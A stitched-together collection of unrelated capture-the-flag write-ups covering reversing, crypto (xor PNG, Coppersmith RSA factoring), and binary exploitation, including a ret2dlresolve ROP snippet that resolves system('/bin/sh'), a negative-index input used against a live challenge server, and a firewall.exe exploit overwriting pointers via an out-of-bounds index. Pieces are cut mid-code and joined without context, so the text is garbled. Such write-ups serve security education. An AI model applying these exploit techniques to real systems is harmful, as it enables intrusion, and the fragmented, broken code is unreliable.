Static analysis can give you some of the characters of the flag easily, but the most important part of the logic is the checksum part - since we know the flag is alphanumeric, we can brute force each 6-character sequence until we find something that looks like part of a flag.
After some analysis and brute force we get the final flag: `FLAG{ysrever_mees_slliks_ruoy}` |
# Cameras (Crypto, 300p)
In the task we get [encrypted png](sec.png).Our first guess is that it's going to be classic repeating key xor, so we try to solve it as such.We know the constant 16 bytes of PNG header, so we can xor the first 16 bytes of the encrypted file to recover first 16 bytes of the xor key, and then xor the whole file with this key repeated.We might be missing some bytes in the key by we can try padding it with 0 until we get some reasonable results for some padding length.We can always look for some constant parts we should find -> IDAT, IHDR, IEND.
```pythonimport codecs
from crypto_commons.generic import xor
def main(): with codecs.open("sec.png", "rb") as input_file: data = [ord(c) for c in input_file.read()] header = [137, 80, 78, 71, 13, 10, 26, 10] key = xor(data, header) print(key) with codecs.open("out.png", "wb") as output_file: output_file.write("".join([chr(c) for c in xor(data, key*10000)]))
main()```
It turns that the recovered key is `[255, 255, 255, 255, 255, 255, 255, 255]` so it's even simpler then we expected.Whole file is actually xored with the same value `0xFF`, or basically bits are negated.We get:  |
The binary reads the flag, then checks that `f[flag[i]](flag[i+1]) == enc_flag[i]`, where `enc_flag` is an array of integers and `f` is an array of 256 encrypted functions.
It is not a good idea to solve it with angr, so we decided to write an IDAPython script to solve it in static, with the help of Unicorn Engine:
```import structimport string
from unicorn import *from unicorn.x86_const import *
def check_ea(ea): if ea is None: return ScreenEA() return ea
def decr(ea=None): ea = check_ea(ea) enc_addr = Dword(ea) size = Dword(ea + 4) key = Qword(ea + 8) for i in range(size): enc = Byte(enc_addr + i) PatchByte(enc_addr + i, (enc ^ (key >> ((i & 3) * 8))) & 0xFF) MakeCode(enc_addr) MakeFunction(enc_addr)
def decr_all(ea, n): for i in range(n): decr(ea + i * 16)
def emul(ea, size, arg): stack = 0x7F000000 mu = Uc(UC_ARCH_X86, UC_MODE_32) mu.mem_map(ea & 0xFFFFF000, 0x2000) mu.mem_map(stack - 0x1000, 0x1000) mu.mem_write(ea, GetManyBytes(ea, size - 1)) mu.mem_write(stack - 4, struct.pack('<I', arg)) mu.reg_write(UC_X86_REG_ESP, stack - 8) mu.emu_start(ea, ea + size - 1) return mu.reg_read(UC_X86_REG_EAX)
def solve(): checkers_addr = 0x0804C140 decr_all(checkers_addr, 256) checkers = [(Dword(checkers_addr + i * 16), Dword(checkers_addr + i * 16 + 4)) for i in range(256)] consts = 'CB00000000808B003B3D0000A8E50B002EDA000098010000C0830A00121C0E003D00000000698A0000AF89009D3A00004FFFFFFFDE000000701B00001EE70C008420000080F48A005301000002B80F00E6090000750E000054FFFFFFF41D0000E0430600FC09000063220000FC03F1FF005AFFFF3EEFFFFFDE0000004C2F0000920100003DD84E00720D00003C610000691D00009E0000001CD41000F30800001D1A5500370000004CFFFFFF0537000022371F00FD5B5B00E609000005070000B56F000099720000'.decode('hex') consts = [struct.unpack('<I', consts[i:i + 4])[0] for i in range(0, len(consts), 4)] alph = string.printable for first_char in alph: prev = ord(first_char) ans = [prev] for const in consts: t = len(ans) for c in alph: if emul(checkers[ans[-1]][0], checkers[ans[-1]][1], ord(c)) == const: ans.append(ord(c)) break if len(ans) == t: # letter not decrypted break if len(ans) > 1: print '[*] ' + ''.join(map(chr, ans))
if __name__ == '__main__': solve()```
What's happening is decrypting all checkers (from `f` array), bruteforcing the first character and trying to decrypt all (by bruteforcing the character feeded to the checker, that is emulated). When executed the script gives the following output:
```[*] 8t[*] nT[*] you are looking for this EKO{4ngr_d1dn't_like_th1s}[*] Gg``` |
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# Baby RSA (crypto)
## ENG[PL](#pl-version)
In the task we get [encrypted flag](flag.enc), [public key](pubkey) and encryption [source code](enc.rb) written in Ruby.
All math code is sound and the main part is just:
```rubyp = rand(2**1024)q = 19 * p + rand(2**512)
p = next_prime(p)q = next_prime(q)
e = 65537d = mod_inverse(e, (p - 1) * (q - 1))
n = (p.to_i * q.to_i)
flag = File.binread('flag').unpack1("H*").to_i(16) * 256while flag * 256 + 255 < n flag = flag * 256 + rand(256)end
enc = mod_pow(flag, e, n)dec = mod_pow(enc, d, n)fail unless dec == flagFile.write('pubkey', [n, e].to_json)File.write('flag.enc', enc)File.write('privkey', [n, d].to_json)```
So it's a classic RSA encryption, just as indicated in the task name.The flag is fully padded with random bytes, the primes are large and of similar order, most likely not factorizable directly.
Once we validated the math code and decided that it's ok and it doesn't help us that it uses Fermat primarity test (so `p` or `q` could be composite Carmichael numbers), the only vulnerability could be in key generation.
The `N` is generated as:
```pythonp = rand(2**1024)q = 19 * p + rand(2**512)p = next_prime(p)q = next_prime(q)n = (p.to_i * q.to_i)```
It's not a normal thing to derive `q` from `p`, so it might indicate some problem with this setup.
If we had there `q = 19*p` it would be obviously weak, since then `N = (p+delta1)*(19*q+delta2)` where deltas are reasonably small and we could divide `N` by 19 and try to user Fermat factorization to look for the primes.But we have this `+ rand(2**512)` which seems to make it impossible to brute force.
However we notice that this added rand is actually small, at least compared to the `p` and `q` which are both ~1024 bit long.Same goes for our `delta` values (coming from `.next_prime()`), they will be small as well.It means that adding such numbers will only upset lower half of the bits of `p` and `q` leaving high bits intact.This gives us an interesting property - since high bits are preserved, from high bits point of view we actually have the case `N = p*19*p`!
We can do `p_approx = gmpy2.iroot(N/19)` to obtain an approximation of `p` where high bits are correct. With this setup `q_approx = p_approx * 19 + 2**512` and this is basically the upper bound for `q` (lower bound would be just `q_approx * 19`)
From our local tests we can get about 515-520 bits intact this way.
So we have more than N/4 of the most significant bits of one of the primes, is this enough to recover the whole prime?
Let's look at this from the other side, we have value `q_approx` and we want to recover value `delta` such that `q = q_approx - delta` (or `+ delta` if we used the lower bound instead of upper bound)
If we make univariate polynomial in ring modulo `N` such that `F(x) = q_approx - x` then it's clear that the `delta` we're looking for is root of this polynomial, since `q` is a factor of `N` and thus `q mod N == 0`.
And the root we need is also not that big, we know it's actually the low bits of `q` we're missing, so at most `2**512`, which is less than `N/4`.We know from Coppersmith theorem that we can efficiently find small roots of such polynomial, so we proceed with sage code:
```pythonp_approx = isqrt(N/19)q_approx = 19*p_approx + 2**512
F.<x> = PolynomialRing(Zmod(N), implementation='NTL')f = x - q_approxd = f.small_roots(X=2**hidden, beta=0.5)```
And this should give us the `delta` value we were looking for and recover `q`.
Full solution is:
```pythonhidden = 512N = 386931010476066075837968435835568572278162262133897268076172926477773222237770106161904290022544637634198443777989318861346776496147456733417801969323559935547762053140311065149570645042679207282163944764258457818336874606186063312212223286995796662956880884390624903779609227558663952294861600483773641805524656787990883017538007871813015279849974842810524387541576499325580716200722985825884806159228713614036698970897017484020439048399276917685918470357385648137307211493845078192550112457897553375871556074252744253633037568961352527728436056302534978263323170336240030950585991108197098692769976160890567250487423n = 386931010476066075837968435835568572278162262133897268076172926477773222237770106161904290022544637634198443777989318861346776496147456733417801969323559935547762053140311065149570645042679207282163944764258457818336874606186063312212223286995796662956880884390624903779609227558663952294861600483773641805524656787990883017538007871813015279849974842810524387541576499325580716200722985825884806159228713614036698970897017484020439048399276917685918470357385648137307211493845078192550112457897553375871556074252744253633037568961352527728436056302534978263323170336240030950585991108197098692769976160890567250487423e = 65537ct = 238128932536965734026453335534508678486770867304645614119195536048961186128744314667991999168452564298994773996973787655358503271491181214369796509942047091225518293577154563021214085132019889288510474458242494876257330038265066123460887568813277411779817556316602871932730284368524299559699693787556478631297630514938453794107136748994144175123917418701679413905695916367530746728699301383100433069740863537869450361306987480687067608102552418211244703552910903168179094472596152349098076535870469807035136435631458879919434041758274344589567529971195683495146426258135341109919085270442486183365562919531353370683625
p_approx = isqrt(N/19)q_approx = 19*p_approx + 2**512
F.<x> = PolynomialRing(Zmod(N), implementation='NTL')f = x - q_approxd = f.small_roots(X=2**hidden, beta=0.5)if d: d = d[0] print('delta',d) print('q = q_approx - delta', q_approx - d) q = q_approx - d p = int(N)/int(q) phi = (p-1)*(q-1) d = inverse_mod(int(e), int(phi)) print(hex(long(pow(ct,d,n)))[2:-1].decode("hex"))```
Which gives us `TWCTF{secretly_cherry-blossom-viewing}`
## PL version |
# Hack Dat Kiwi 2017## PS2
## Information**Category:** | **Points:** | **Author:**--- | --- | ---Crypto | 100 | Ben Burnett
## DescriptionWe are presented with a php script responsible for encryption and decryption along with three parameters for configuring it:```BLOCK_SIZE = 16;SEED = 7;ROUNDS = 2;```
We are presented with a large block of ciphertext, and asked to decrypt it.
This is the same encryption script that PS1 uses, but the parameters are different. Most interestingly the encryption goes through two rounds.
## SolutionI don't want to repeat too much from the PS1 write-up, so I'll assume that you have read that one first.Again, the major difference here is that the encryption goes through two passes.This means that each piece of cipher text is encrypted by two, probably different, pieces of the key.
The plan of attack here is to use the solution for PS1, but after doing the reverse substitution we then again find all possible values for the second xor such that the second reverse substitution results in a prinable ascii character.
The `ps2.py` will solve each column one by one and create an output which is the solved md5 hash of the key. Again,we can plug this in to the php script to retrieve the flag.
The output of the script is:```Solving column 0 ...Solving column 1 ...Solving column 2 ...Solving column 3 ...Solving column 4 ...Solving column 5 ...Solving column 6 ...Solving column 7 ...Solving column 8 ...Solving column 9 ...Solving column 10 ...Solving column 11 ...Solving column 12 ...Solving column 13 ...Solving column 14 ...Solving column 15 ...754953ebc7bc2a7b0087d45447c08062```
|
libc independent solution using ret2dlresolve
```pythonfrom roputils import *import struct
fpath = './warehouse'
rop = ROP(fpath)addr_bss = rop.section('.bss')
#fake entryfake = rop.string('/bin/sh')fake += rop.fill(20, fake)fake += rop.dl_resolve_data(addr_bss+20, 'system')fake += rop.fill(80, fake)
#used afterwards to set linkmap+0xe4 to be 0fake += rop.p(0xe4) + "A" * 4 + rop.p(0)
buf = ''for i in range(0,len(fake) / 4): addr = struct.unpack(' |
This challenge demonstrates the difficulties associated with proper type conversion. We are given an address of a server and its [source code](https://0xd13a.github.io/ctfs/pwn2win2017/hidden_program/hiddenprogram.c). The server program asks for a string position, a string and a substring and then either confirms that the substring is found or prints what is found in the larger string at the given position.
In the source code we can see that the flag is stored right before the larger string so we need to find a way to print it:
```ctypedef struct{ char flag[SHRT_MAX+1]; char in[SHRT_MAX+1]; char sub[SHRT_MAX+1]; int n;} player;```
When user enters the position it is checked for being over the maximum short number (```p1.n>SHRT_MAX```), which is ```32767```. However it is not checked for being incorrect negative position. The further attempt to make the number positive (```(short)abs((short)p1.n)```) does not work as it should have at the first glance, leaving the negative number the user enters intact.
This means that we can pass in a negative number to the application, and it will print out the substring _before_ the ```in``` field, not within it. Because flag field is ```SHRT_MAX+1=32768``` bytes long, passing in the index ```-32768``` does the trick and the flag ```CTF-BR{Th1s_1S_4_50_5Imp13_C_exp1017_}``` is printed:
```$ nc 200.136.213.126 1988Insert a short integer: -32768Insert a string: aInsert another string: a You lost!!! In the string a the substring in the position -32768 is CTF-BR{Th1s_1S_4_50_5Imp13_C_exp1017_} Try again...``` |
# FIREWALL.EXE #
## SHOCKTOP and HEFRPIDGE ##
Firewall.exe the only beautiful Windows executable. My first step was to investigate the PE itself using PPEE. Very quickly I was able to recognize this as a POSIX subsystem executable. This was evident from it's NtHeader.OptionalHeader.Subsystem and It's import directory only depending on PSXDLL.dll.
The Windows Services for Unix (SFU) was abandoned after Windows 7 due to it's lack of support beyond POSIX 1.0 and it's dependency on windows. Windows now supports Windows Subsystem for Linux (WSL). SFU relied on PE files instead of ELF files, now supported with WSL using Minimal Pico Processes, [https://blogs.msdn.microsoft.com/wsl/2016/05/23/pico-process-overview/](https://blogs.msdn.microsoft.com/wsl/2016/05/23/pico-process-overview/ "Pico Process Overview").
To support SFU, first I needed a Windows 7 VM and I needed to enable the Subsystem for UNIX-based Applications
then I needed to install the [https://www.microsoft.com/en-us/download/details.aspx?id=23754](https://www.microsoft.com/en-us/download/details.aspx?id=23754 "Utilities and SDK for UNIX-based Applications")
Once this is installed running a posix subsystem application application will work. Included in this install was the oh so recent C-Shell and the ability to run GDB. GDB came in handy because Immunity had no idea how to debug a posix subsystem binary and I didn't try WinDbg.
Netcatting to the ctf server on port 4141 or running the program gave you the same experience. You were presented with a service access token request. I tried a couple number hoping to get lucky. If the number fails the program exits, time to reverse.
CheckServiceToken would create an access token based on your envp pointer and a not so random number. First create_access_token would srand with a static number of 'doom' and then it starts the access token loop with the integer value of INTE (first 4 bytes of that env variable), then loops through 100 times adding a random value to the access token. So breaking at 4023c7 was the simpler way than scripting up this access token creation.
% gdb firewall.exe (gdb) r Starting program: /dev/fs/C/reverse/firewall.exe +----------------------------------------+ |-------[ FIREWALL CONTROL PANEL ]-------| +----------------------------------------+ | ENTER SERVICE ACCESS TOKEN: Program received signal SIGINT, Interrupt. 0x77c1153a in ?? () (gdb) info stack #0 0x77c1153a in ?? () #1 0x744514fc in ?? () #2 0x74453075 in ?? () #3 0x011340df in ?? () #4 0x0113418b in ?? () #5 0x01133fcf in ?? () #6 0x011347c6 in ?? () #7 0x01131b68 in ?? () #8 0x01131bdc in ?? () #9 0x011323bf in ?? () #10 0x01132450 in ?? () #11 0x0113102c in ?? () #12 0x011311fb in ?? () #13 0x744500de in ?? () (gdb) br *0x011323c7 Breakpoint 1 at 0x11323c7 (gdb) c Continuing. 1234 Breakpoint 1, 0x011323c7 in ?? () (gdb) p $ecx $1 = 352762356 (gdb) c Continuing. Program exited normally. (gdb) r Starting program: /dev/fs/C/reverse/firewall.exe +----------------------------------------+ |-------[ FIREWALL CONTROL PANEL ]-------| +----------------------------------------+ | ENTER SERVICE ACCESS TOKEN: 352762356 | +-------------------------+ | |- MENU | | +-------------------------+ | | 1. add firewall rule | | | 2. edit firewall rule | | | 3. delete firewall rule | | | 4. print firewall rule | | | 5. list firewall rules | | | 6. check credentials | | | 7. help | | | 8. quit | | +-------------------------+ | MENU SELECTION:
Now that we have the access token we need to find that flag. The goal of this was to determine if this firewall was still safe for another year. I looked a little at the program flow in IDA (given I did a lot of static analysis before I got to actually running the binary. We actually never focused on getting the binary running until we wanted the access key and interact with it)
I did a lot of ida grouping to get an idea of the flow of this program. As you can see it is a huge switch statement, that is actually using if/else if. Each function will be associated with its corresponding menu option.
The way this program internally is supposed to work is there are a maximum of 16 firewall rules one can create. Each rule has a name, port and type (protocol). This list is stored in memory as a contiguous array of 16 structures of size 0x1C. So there is a 0x1C0 buffer array. Each firewall rule looks as such: struct firewall_rule { byte enabled; char rule_name[33]; unsigned short rule_port; unsigned int rule_type; };
00000000 firewall_rule struc ; (sizeof=0x1C, mappedto_2) 00000000 ; XREF: .data:firewall_rule_list/r 00000000 enabled db ? ; XREF: AddFirewallRule+33/r 00000000 ; AddFirewallRule+4E/r ... 00000001 rule_name db 21 dup(?) ; XREF: AddFirewallRule+8D/o 00000001 ; EditFirewallRules+A6/o ... 00000016 rule_port dw ? ; XREF: AddFirewallRule+B4/w 00000016 ; EditFirewallRules+CD/w ... 00000018 rule_type dd ? ; XREF: AddFirewallRule+D0/o 00000018 ; AddFirewallRule+EC/o ... 0000001C firewall_rule ends 0000001C
We know we need a flag, so my first guess was the authenticate function. It was a good start as it led us to where the flag was stored in memory and it also led us on a red herring as they cleverly called FACADE in memory. As seen below all we need to do is get two values to match and we get our flag. So two questions what is it that needs to be equal and how is the flag created.
If you look up above at the huge if/else switch on choice. There is a function that gets called right before that huge menu loop called ReadFlagFile. The contents of that are below.
.text:004023E0 .text:004023E0 .text:004023E0 ; Attributes: bp-based frame .text:004023E0 .text:004023E0 ReadFlagFile proc near .text:004023E0 .text:004023E0 hFlag= dword ptr -4 .text:004023E0 .text:004023E0 push ebp .text:004023E1 mov ebp, esp .text:004023E3 push ecx .text:004023E4 push 0 .text:004023E6 push offset aFlag ; "flag" .text:004023EB call _open .text:004023F0 add esp, 8 .text:004023F3 mov [ebp+hFlag], eax .text:004023F6 push 63 .text:004023F8 push offset FLAG_HERE .text:004023FD mov eax, [ebp+hFlag] .text:00402400 push eax .text:00402401 call _read ; read 63 bytes .text:00402406 add esp, 0Ch .text:00402409 mov ecx, [ebp+hFlag] .text:0040240C push ecx .text:0040240D call _close .text:00402412 add esp, 4 .text:00402415 mov esp, ebp .text:00402417 pop ebp .text:00402418 retn .text:00402418 ReadFlagFile endp .text:00402418
So a file gets read from disk called flag and stored at a memory address I labeled FLAG_HERE. So the next question is what is getting compared to FACADE for us to get this flag printed. A cross reference to the memory location, leads us to a function I call init_strings. It is called during c runtime startup.
.text:0040E960 .text:0040E960 ; Attributes: bp-based frame .text:0040E960 .text:0040E960 init_strings proc near .text:0040E960 push ebp .text:0040E961 mov ebp, esp .text:0040E963 mov eax, _1_add_firewall_rule .text:0040E968 mov p_1_add_firewall_rule, eax .text:0040E96D mov ecx, _2_editfirewallrule_ .text:0040E973 mov p_2_EditFireWallRule, ecx .text:0040E979 mov edx, _3_deleteFirewallRule .text:0040E97F mov p_3_DeleteFireWallRule, edx .text:0040E985 mov eax, _4_printfirewallrule .text:0040E98A mov p_4_PrintFireWallRule, eax .text:0040E98F mov ecx, _5_ListFireWallRules .text:0040E995 mov p_5_listFireWallRules, ecx .text:0040E99B mov edx, _6_CheckCredentials .text:0040E9A1 mov p_6_CheckCredentials, edx .text:0040E9A7 mov eax, _7_help .text:0040E9AC mov p_7_help, eax .text:0040E9B1 mov ecx, _8_quit .text:0040E9B7 mov p_8_quit, ecx .text:0040E9BD push 1C0h ; size of list .text:0040E9C2 push 0 .text:0040E9C4 push offset firewall_rule_list .text:0040E9C9 call __memset .text:0040E9CE add esp, 0Ch .text:0040E9D1 mov _feel5bad, 0FEE15BADh ; initial cred .text:0040E9DB mov byte_412B30, 0 .text:0040E9E2 push 40h .text:0040E9E4 push 0 .text:0040E9E6 push offset FLAG_HERE .text:0040E9EB call __memset .text:0040E9F0 add esp, 0Ch .text:0040E9F3 mov rule_count, 0 .text:0040E9FA pop ebp .text:0040E9FB retn .text:0040E9FB init_strings endp
This function stores pointers to many strings in memory, zeroizes the firewall rule list and sets the cred that we need to authenticate for our flag as 0xFEE15BAD, zeroizes the flag array and then finally sets a global variable I call rule_count to zero. As all of this is stored in the same spot in memory, lets go look how memory is arranged.
.data:0041294C 00 00 00 00 p_1_add_firewall_rule dd 0 ; DATA XREF: print_menu+2A↑r .data:0041294C ; init_strings+8↑w .data:00412950 00 00 00 00 p_2_EditFireWallRule dd 0 ; DATA XREF: print_menu+3D↑r .data:00412950 ; init_strings+13↑w .data:00412954 00 00 00 00 p_3_DeleteFireWallRule dd 0 ; DATA XREF: print_menu+51↑r .data:00412954 ; init_strings+1F↑w .data:00412958 00 00 00 00 p_4_PrintFireWallRule dd 0 ; DATA XREF: print_menu+65↑r .data:00412958 ; init_strings+2A↑w .data:0041295C 00 00 00 00 p_5_listFireWallRules dd 0 ; DATA XREF: print_menu+78↑r .data:0041295C ; init_strings+35↑w .data:00412960 00 00 00 00 p_6_CheckCredentials dd 0 ; DATA XREF: print_menu+8C↑r .data:00412960 ; init_strings+41↑w .data:00412964 00 00 00 00 p_7_help dd 0 ; DATA XREF: print_menu+A0↑r .data:00412964 ; init_strings+4C↑w .data:00412968 00 00 00 00 p_8_quit dd 0 ; DATA XREF: print_menu+B3↑r .data:00412968 ; init_strings+57↑w .data:0041296C 00 00 00 00 00 00+firewall_rule_list firewall_rule 10h dup() .data:0041296C 00 00 00 00 00 00+ ; DATA XREF: AddFirewallRule+33↑r .data:0041296C 00 00 00 00 00 00+ ; AddFirewallRule+4E↑r ... .data:00412B2C ?? ?? ?? ?? _feel5bad dd ? ; DATA XREF: authenticate_function+3↑r .data:00412B2C ; init_strings+71↑w .data:00412B30 ?? byte_412B30 db ? ; DATA XREF: init_strings+7B↑w .data:00412B31 ?? ?? ?? ?? ?? ??+FLAG_HERE db 40h dup(?) ; DATA XREF: authenticate_function+1C↑o .data:00412B31 ?? ?? ?? ?? ?? ??+ ; ReadFlagFile+18↑o ... .
Our initial idea was can we overflow our fire rule list to overwrite the auth_cred. This had us reversing AddFirewallRule. In my IDB you will see nice basic blocks this is after removing deobfuscation code that created nop jumps. Once removing these jumps and asking IDA to see this as a function basic blocks were back. The logic was sound for buffer overwrite. It iterated the list of firewall rules and checked if it was enabled. If it wasn't enabled it created a new rule. If it got to the max rule count it informed the user "OUT OF FIREWALL RULE SLOTS".
The red herring of the challenge was we were able to get a 3 byte overflow into the auth cred. This was due to a vulnerability in the EditRule function calling fgets with bufsize of 30.
.text:00401EF1 push offset aEnterRuleName_0 ; "ENTER RULE NAME: " .text:00401EF6 call printf_wrapper .text:00401EFB add esp, 4 .text:00401EFE push 30 ; bufsize... overflow .text:00401F00 mov edx, [ebp+i] .text:00401F03 imul edx, 1Ch .text:00401F06 add edx, offset firewall_rule_list.rule_name .text:00401F0C push edx ; buffer .text:00401F0D call fgets_wrapper .text:00401F12 add esp, 8
The buffer it is reading into is 21 bytes, follwed by the rest of the structure being 6 bytes, so we get a 3 byte overflow. Unfortunately this was not enough to change the flag to authenticate us. This was because our final byte would always be NULL because of fgets, therefore we only really got a two byte overwrite of the cred that we controlled.
I browsed over a bit of code at one point and didn't really notice it at first, noted it and moved on, just didn't stick out well enough. Then at some point I jacked up typing and seg faulted the program, winner winner chicken dinner! Looking at what I had done I had provided bad input to the edit rule menu. Anytime you wanted to print or edit a rule this little bitty of code happened.
.text:00401EA8 push offset aEditingFirewal ; "EDITING FIREWALL RULE -\n" .text:00401EAD call printf_wrapper .text:00401EB2 add esp, 4 .text:00401EB5 push offset aEnterRuleNumbe ; "ENTER RULE NUMBER TO EDIT: " .text:00401EBA call printf_wrapper .text:00401EBF add esp, 4 .text:00401EC2 call fgets_atoi .text:00401EC7 mov [ebp+i], eax .text:00401ECA cmp [ebp+i], 0 .text:00401ECE jb short loc_401ED6 .text:00401ED0 cmp [ebp+i], 10h .text:00401ED4 jbe short loc_401EE8 .text:00401ED6 .text:00401ED6 loc_401ED6: ; CODE XREF: EditFirewallRules+6E↑j .text:00401ED6 push offset aInvalidRule ; "INVALID RULE!\n" .text:00401EDB .text:00401EDB loc_401EDB: .text:00401EDB call printf_wrapper .text:00401EE0 add esp, 4 .text:00401EE3 jmp loc_401FC0 .text:00401EE8 ; --------------------------------------------------------------------------- .text:00401EE8 .text:00401EE8 loc_401EE8: ; CODE XREF: EditFirewallRules+74↑j .text:00401EE8 mov ecx, [ebp+i] ; user supplied index .text:00401EEB sub ecx, 1 ; subtract 1... supply 0, get rule[-1] .text:00401EEE mov [ebp+i], ecx
What this essentially did was ask the user what rule they want to edit. Expecting the user to give a value of 1-16. It then converts that number to array index with sub ecx, 1. Giving the input of 0, gave us a -1 offset of the array. This allowed us to now read and write to memory prior to the array. Looking at memory again this was beneficial and showed why we crashed on bad input.
.data:0041294C 00 00 00 00 p_1_add_firewall_rule dd 0 ; DATA XREF: print_menu+2A↑r .data:0041294C ; init_strings+8↑w .data:00412950 00 00 00 00 p_2_EditFireWallRule dd 0 ; DATA XREF: print_menu+3D↑r .data:00412950 ; init_strings+13↑w .data:00412954 00 00 00 00 p_3_DeleteFireWallRule dd 0 ; DATA XREF: print_menu+51↑r .data:00412954 ; init_strings+1F↑w .data:00412958 00 00 00 00 p_4_PrintFireWallRule dd 0 ; DATA XREF: print_menu+65↑r .data:00412958 ; init_strings+2A↑w .data:0041295C 00 00 00 00 p_5_listFireWallRules dd 0 ; DATA XREF: print_menu+78↑r .data:0041295C ; init_strings+35↑w .data:00412960 00 00 00 00 p_6_CheckCredentials dd 0 ; DATA XREF: print_menu+8C↑r .data:00412960 ; init_strings+41↑w .data:00412964 00 00 00 00 p_7_help dd 0 ; DATA XREF: print_menu+A0↑r .data:00412964 ; init_strings+4C↑w .data:00412968 00 00 00 00 p_8_quit dd 0 ; DATA XREF: print_menu+B3↑r .data:00412968 ; init_strings+57↑w .data:0041296C 00 00 00 00 00 00+firewall_rule_list firewall_rule 10h dup() .data:0041296C 00 00 00 00 00 00+ ; DATA XREF: AddFirewallRule+33↑r .data:0041296C 00 00 00 00 00 00+ ; AddFirewallRule+4E↑r ... .data:00412B2C ?? ?? ?? ?? _feel5bad dd ? ; DATA XREF: authenticate_function+3↑r .data:00412B2C ; init_strings+71↑w .data:00412B30 ?? byte_412B30 db ? ; DATA XREF: init_strings+7B↑w .data:00412B31 ?? ?? ?? ?? ?? ??+FLAG_HERE db 40h dup(?) ; DATA XREF: authenticate_function+1C↑o .data:00412B31 ?? ?? ?? ?? ?? ??+ ; ReadFlagFile+18↑o ... .
Writing right before the array is overwriting string pointers that the menu used to print. So our exploit was as follows.
1. Enter Service Access Token2. Add a rule3. Leak a memory pointer by printing rule 04. Create offset to flag address with leaked pointer5. overwrite a string pointer in the menu by Adding a rule 0
user@ubuntu1604:~/firewall$ python firewall_sploit.py +----------------------------------------+ |-------[ FIREWALL CONTROL PANEL ]-------| +----------------------------------------+ | ENTER SERVICE ACCESS TOKEN: | +-------------------------+ | |- MENU | | +-------------------------+ | | 1. add firewall rule | | | 2. edit firewall rule | | | 3. delete firewall rule | | | 4. print firewall rule | | | 5. list firewall rules | | | 6. check credentials | | | 7. help | | | 8. quit | | +-------------------------+ | MENU SELECTION: | CREATING FIREWALL RULE - | ENTER RULE NAME: | ENTER RULE PORT: | ENTER RULE TYPE: | SUCCESSFULLY CREATED FIREWALL RULE! | PRESS ENTER TO RETURN TO MENU | +-------------------------+ | |- MENU | | +-------------------------+ | | 1. add firewall rule | | | 2. edit firewall rule | | | 3. delete firewall rule | | | 4. print firewall rule | | | 5. list firewall rules | | | 6. check credentials | | | 7. help | | | 8. quit | | +-------------------------+ | MENU SELECTION: | PRINTING FIREWALL RULE - | ENTER RULE NUMBER TO PRINT: Image base: 19267584 | +-------------------------+ | |- MENU | | +-------------------------+ | | 1. add firewall rule | | | 2. edit firewall rule | | | 3. delete firewall rule | | | 4. print firewall rule | | | 5. list firewall rules | | | 6. check credentials | | | 7. help | | | 8. quit | | +-------------------------+ | MENU SELECTION: | EDITING FIREWALL RULE - | ENTER RULE NUMBER TO EDIT: | ENTER RULE NAME: | ENTER RULE PORT: | ENTER RULE TYPE: | INVALID RULE TYPE! CANCELING CREATION... | PRESS ENTER TO RETURN TO MENU | +-------------------------+ | |- MENU | | +-------------------------+ | | 1. add firewall rule | | | 2. edit firewall rule | | w3_f3ll_pr3tty_f4r_d0wn_th3_w1nd0ws_r4bb1t_h0le_huh | w3_f3ll_pr3tty_f4r_d0wn_th3_w1nd0ws_r4bb1t_h0le_huh | w3_f3ll_pr3tty_f4r_d0wn_th3_w1nd0ws_r4bb1t_h0le_huh | w3_f3ll_pr3tty_f4r_d0wn_th3_w1nd0ws_r4bb1t_h0le_huh
|
Implementing an algorithm for calculating resistances between two arbitrary points on a circuit board seems like a complex problem to solve in a short period of time. Luckily, [someone already solved it](https://gist.github.com/aelguindy/1747940) (and in Python too!) :-) The only thing that is left is to add scaffolding that parses the inputs, and collects and returns the answers:
```python# portion of the code "borrowed" from https://gist.github.com/aelguindy/1747940
import ssl, socket
def gauss_jordan(m, eps = 1.0/(10**10)): """Puts given matrix (2D array) into the Reduced Row Echelon Form. Returns True if successful, False if 'm' is singular. NOTE: make sure all the matrix items support fractions! Int matrix will NOT work! Written by Jarno Elonen in April 2005, released into Public Domain""" (h, w) = (len(m), len(m[0])) for y in range(0,h): maxrow = y for y2 in range(y+1, h): # Find max pivot if abs(m[y2][y]) > abs(m[maxrow][y]): maxrow = y2 (m[y], m[maxrow]) = (m[maxrow], m[y]) if abs(m[y][y]) <= eps: # Singular? return False for y2 in range(y+1, h): # Eliminate column y c = m[y2][y] / m[y][y] for x in range(y, w): m[y2][x] -= m[y][x] * c for y in range(h-1, 0-1, -1): # Backsubstitute c = m[y][y] for y2 in range(0,y): for x in range(w-1, y-1, -1): m[y2][x] -= m[y][x] * m[y2][y] / c m[y][y] /= c for x in range(h, w): # Normalize row y m[y][x] /= c return True
def preprocess(edges, V): lists = [] for i in range(V): lists.append([]) for fro, to, res in edges: lists[fro].append((to, res)) lists[to].append((fro, res)) return lists
def make_eqns(lists, node1, node2): coeffs = [] Vars = len(lists) for i, l in enumerate(lists): cs = [0.0]*Vars cs[i] = sum(1/b for (a, b) in l) for other, res in l: cs[other] -= 1.0/res coeffs.append(cs) rhs = [0] * Vars rhs[node1] = 1.0 rhs[node2] = -1.0 n = max(node1, node2) coeffs = [c[:n] + c[n + 1:] for c in coeffs] return coeffs[:-1], rhs[:-1]
def calculate_resistance(nodes, edges, source, destination): src = source dst = destination ls = preprocess(edges, nodes) a, b = make_eqns(ls, src, dst) M = [a[i] + [b[i]] for i in range(len(a))] gauss_jordan(M) return abs(M[min(src, dst)][-1]) class Connect(object): def __init__(self, host, port): self.context = ssl.create_default_context() self.conn = self.context.wrap_socket( socket.socket(socket.AF_INET), server_hostname=host) self.conn.connect((host, port)) self.f = self.conn.makefile('rwb', 0) def __enter__(self): return self.f def __exit__(self, type, value, traceback): self.f.close()
dim = 0conns = []results = []
with Connect('programming.pwn2win.party', 9001) as f: for line in f: line = line.strip() tuple = line.split() print line # parse resistances if len(tuple) == 3: conn = (int(tuple[0])-1,int(tuple[1])-1,float(tuple[2])) conns.append(conn) if conn[0]+1 > dim: dim = conn[0]+1 if conn[1]+1 > dim: dim = conn[1]+1 # parse paths if len(tuple) == 2: start = int(tuple[0])-1 end = int(tuple[1])-1 if start == end: # resistance from point to itself is 0 val = 0 else: val = calculate_resistance(dim, conns, start, end) results.append(val)
if line == "": print "-end of data-" for x in results: val = "%.3f" % x f.write(('%s\n' % val).encode('utf-8')) print val dim = 0 conns = [] results = []```
The flag is ```CTF-BR{Us1n6_R3s1S73NCe_d1s7AnCe_15_3x7R3Me1y_us3ful1_in_p8ysIC5}``` |
[regexbaby.txt](https://0xd13a.github.io/ctfs/pwn2win2017/baby_regex/regexbaby.txt)
